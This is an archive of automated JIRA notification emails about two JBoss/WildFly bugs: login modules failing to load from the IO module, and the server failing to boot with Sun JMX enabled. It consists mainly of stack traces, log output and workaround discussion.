> 	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> 12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
> 12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
> 12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
> 12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
> 12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
> 12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
> [0]
> LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
> ControlFlag: LoginModuleControlFlag: optional
> Options:
> name=password-stacking, value=useFirstPass
> [1]
> LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule
> Was Able to work around this issue by adding 
>     <module name="org.jboss.as.security"/>
>     <module name="org.picketbox"/>
> to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:24:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 13:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349000.18877.1378833844303@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2045?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803234#comment-12803234 ] 

Darran Lofthouse commented on WFLY-2045:
----------------------------------------

That's fine, I don't have time anyway for a few weeks.

                
> Missing Dependencies for  IO Module
> -----------------------------------
>
>                 Key: WFLY-2045
>                 URL: https://issues.jboss.org/browse/WFLY-2045
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Tomaz Cerar
>            Priority: Minor
>
> I  Get the following error when I try to Authenticate against a Cutom Login-Module:
> 1:
> 12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
>         at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
>         at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
>         at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
>         at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
>         at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
>         at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
>         at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
>         at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
>         at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
>         at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
>         at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> AND 
> 12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
> 12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
> 	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
> 	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
> 	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
> 	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
> 	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> 12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
> 12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
> 12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
> 12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
> 12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
> 12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
> [0]
> LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
> ControlFlag: LoginModuleControlFlag: optional
> Options:
> name=password-stacking, value=useFirstPass
> [1]
> LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule
> Was Able to work around this issue by adding 
>     <module name="org.jboss.as.security"/>
>     <module name="org.picketbox"/>
> to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:45:05 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Tue, 10 Sep 2013 13:45:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349000.18899.1378835105493@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2045?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2045:
------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Missing Dependencies for  IO Module
> -----------------------------------
>
>                 Key: WFLY-2045
>                 URL: https://issues.jboss.org/browse/WFLY-2045
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Tomaz Cerar
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> I  Get the following error when I try to Authenticate against a Cutom Login-Module:
> 1:
> 12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
>         at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
>         at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
>         at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
>         at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
>         at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
>         at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
>         at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
>         at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
>         at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
>         at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
>         at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> AND 
> 12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
> 12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
> 	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
> 	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
> 	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
> 	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
> 	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> 12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
> 12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
> 12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
> 12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
> 12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
> 12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
> [0]
> LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
> ControlFlag: LoginModuleControlFlag: optional
> Options:
> name=password-stacking, value=useFirstPass
> [1]
> LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule
> Was Able to work around this issue by adding 
>     <module name="org.jboss.as.security"/>
>     <module name="org.picketbox"/>
> to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 15:00:04 2013
From: jira-events at lists.jboss.org (Allen James (JIRA))
Date: Tue, 10 Sep 2013 15:00:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-1859) AS won't boot with sun jmx
	enabled
In-Reply-To: <JIRA.12447283.1316428512000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12447283.1316428512000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12447283.1316428512000.18960.1378839604044@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-1859?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803263#comment-12803263 ] 

Allen James commented on AS7-1859:
----------------------------------

I've been working on a workaround to this issue for the past two days without any success.   Specifically, my efforts have been focused on modifying the bootclass to include the jboss-logmanager-1.4.0.Final-redhat-1.jar, log4j-jboss-logmanager-1.0.1.Final-redhat-2.jar and jboss-logmanager.jar.

The server fails to start in this configuration with the exception:

java.lang.RuntimeException: JBAS014670: Failed initializing module org.jboss.as.logging
        at org.jboss.as.controller.extension.ParallelExtensionAddHandler$1.execute(ParallelExtensionAddHandler.java:99)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440)
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322)
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229)
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224)
        at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:232)
        at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:225)
        at org.jboss.as.server.ServerService.boot(ServerService.java:333)
        at org.jboss.as.server.ServerService.boot(ServerService.java:308)
        at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:188)
        at java.lang.Thread.run(Thread.java:662)
Caused by: java.util.concurrent.ExecutionException: java.lang.IllegalStateException: JBAS011592: The logging subsystem requires the log manager to be
org.jboss.logmanager.LogManager. The subsystem has not be initialized and cannot be used. To use JBoss Log Manager you must add the system property "j
ava.util.logging.manager" and set it to "org.jboss.logmanager.LogManager"
        at java.util.concurrent.FutureTask$Sync.innerGet(FutureTask.java:222)
        at java.util.concurrent.FutureTask.get(FutureTask.java:83)
        at org.jboss.as.controller.extension.ParallelExtensionAddHandler$1.execute(ParallelExtensionAddHandler.java:91)
        ... 10 more
Caused by: java.lang.IllegalStateException: JBAS011592: The logging subsystem requires the log manager to be org.jboss.logmanager.LogManager. The subs
ystem has not be initialized and cannot be used. To use JBoss Log Manager you must add the system property "java.util.logging.manager" and set it to "
org.jboss.logmanager.LogManager"
        at org.jboss.as.logging.LoggingExtension.initialize(LoggingExtension.java:103)
        at org.jboss.as.controller.extension.ExtensionAddHandler.initializeExtension(ExtensionAddHandler.java:97)
        at org.jboss.as.controller.extension.ParallelExtensionAddHandler$ExtensionInitializeTask.call(ParallelExtensionAddHandler.java:127)
        at org.jboss.as.controller.extension.ParallelExtensionAddHandler$ExtensionInitializeTask.call(ParallelExtensionAddHandler.java:113)
        at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
        at java.util.concurrent.FutureTask.run(FutureTask.java:138)
        at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
        at java.lang.Thread.run(Thread.java:662)
        at org.jboss.threads.JBossThread.run(JBossThread.java:122)
Sep 10, 2013 10:29:32 AM org.jboss.as.server.ServerService boot
FATAL: JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
Press any key to continue . . .


Note, I am attempting to manually bootstrap the by calling sun.management.snmp.AdaptorBootstrap.initialize.  But, I am still running into the logger exception.

David, can you please provide more detailed information on how to manually instantiate the jvm snmp adaptor?  That would be very useful in working around this issue.
  
                
> AS won't boot with sun jmx enabled
> ----------------------------------
>
>                 Key: AS7-1859
>                 URL: https://issues.jboss.org/browse/AS7-1859
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Logging
>    Affects Versions: 7.1.0.Alpha1
>         Environment: sun jdk6 windows 7 as-7.1.0.Alpha1
>            Reporter: Dan Hanley
>            Assignee: David Lloyd
>
> This appears to be a regression to https://issues.jboss.org/browse/JBAS-7427 in AS7.1
> > set JAVA_OPTS=%JAVA_OPTS%  -Dcom.sun.management.jmxremote -Djava.util.logging.manager=org.jboss.logmanager.LogManager 
> > standalone.bat
> ===============================================================================
>   JBoss Bootstrap Environment
>   JBOSS_HOME: c:\jboss-as-7.1.0.Alpha1-SNAPSHOT
>   JAVA: C:\Program Files\Java\jdk1.6.0_22\bin\java
>   JAVA_OPTS: -Dprogram.name=standalone.bat -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintTenuringDistribution -XX:+UseParallelGC -XX:PermSize=6g -XX:MaxPermSize=6g -Xms512m
> -Xmx4g -Xss256k -Dhornetq.server-id=119 -Dsqs.queue.name=danQ -Duser.timezone=gmt -Djava.net.preferIPv4Stack=true -Djms.server=193.131.98.79 -Djboss.bind.address=193.131.98.79 -Djb
> oss.partition.name=dan-pc -Djboss.partition.udpGroup=79 -Dpublic.firewall.address=dan-pc -Xrunjdwp:transport=dt_socket,address=8788,server=y,suspend=n   -Dcom.sun.management.jmxrem
> ote -Djava.util.logging.manager=org.jboss.logmanager.LogManager -Dorg.jboss.logging.Logger.pluginClass=org.jboss.logging.logmanager.LoggerPluginImpl -server
> ===============================================================================
> Listening for transport dt_socket at address: 8788
> Could not load Logmanager "org.jboss.logmanager.LogManager"
> java.lang.ClassNotFoundException: org.jboss.logmanager.LogManager
>         at java.net.URLClassLoader$1.run(URLClassLoader.java:202)
>         at java.security.AccessController.doPrivileged(Native Method)
>         at java.net.URLClassLoader.findClass(URLClassLoader.java:190)
>         at java.lang.ClassLoader.loadClass(ClassLoader.java:307)
>         at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)
>         at java.lang.ClassLoader.loadClass(ClassLoader.java:248)
>         at java.util.logging.LogManager$1.run(LogManager.java:168)
>         at java.security.AccessController.doPrivileged(Native Method)
>         at java.util.logging.LogManager.<clinit>(LogManager.java:158)
>         at java.util.logging.Logger.getLogger(Logger.java:273)
>         at sun.management.snmp.util.MibLogger.<init>(MibLogger.java:57)
>         at sun.management.snmp.util.MibLogger.<init>(MibLogger.java:42)
>         at sun.management.jmxremote.ConnectorBootstrap.<clinit>(ConnectorBootstrap.java:760)
>         at sun.management.Agent.startAgent(Agent.java:135)
>         at sun.management.Agent.startAgent(Agent.java:239)
> WARNING: Failed to load the specified logmodule org.jboss.logmanager:main
> Exception in thread "main" java.lang.ExceptionInInitializerError
>         at org.jboss.as.server.Main.main(Main.java:81)
>         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>         at java.lang.reflect.Method.invoke(Method.java:597)
>         at org.jboss.modules.Module.run(Module.java:270)
>         at org.jboss.modules.Main.main(Main.java:313)
> Caused by: java.lang.IllegalStateException: The LogManager was not properly installed (you must set the "java.util.logging.manager" system property to "org.jboss.logmanager.LogMana
> ger")
>         at org.jboss.logmanager.Logger.getLogger(Logger.java:60)
>         at org.jboss.logmanager.log4j.BridgeRepositorySelector.<clinit>(BridgeRepositorySelector.java:42)
>         ... 7 more
> Heap
>  PSYoungGen      total 152896K, used 23619K [0x00000002aaaa0000, 0x00000002b5540000, 0x00000002ffff0000)
>   eden space 131072K, 18% used [0x00000002aaaa0000,0x00000002ac1b0f30,0x00000002b2aa0000)
>   from space 21824K, 0% used [0x00000002b3ff0000,0x00000002b3ff0000,0x00000002b5540000)
>   to   space 21824K, 0% used [0x00000002b2aa0000,0x00000002b2aa0000,0x00000002b3ff0000)
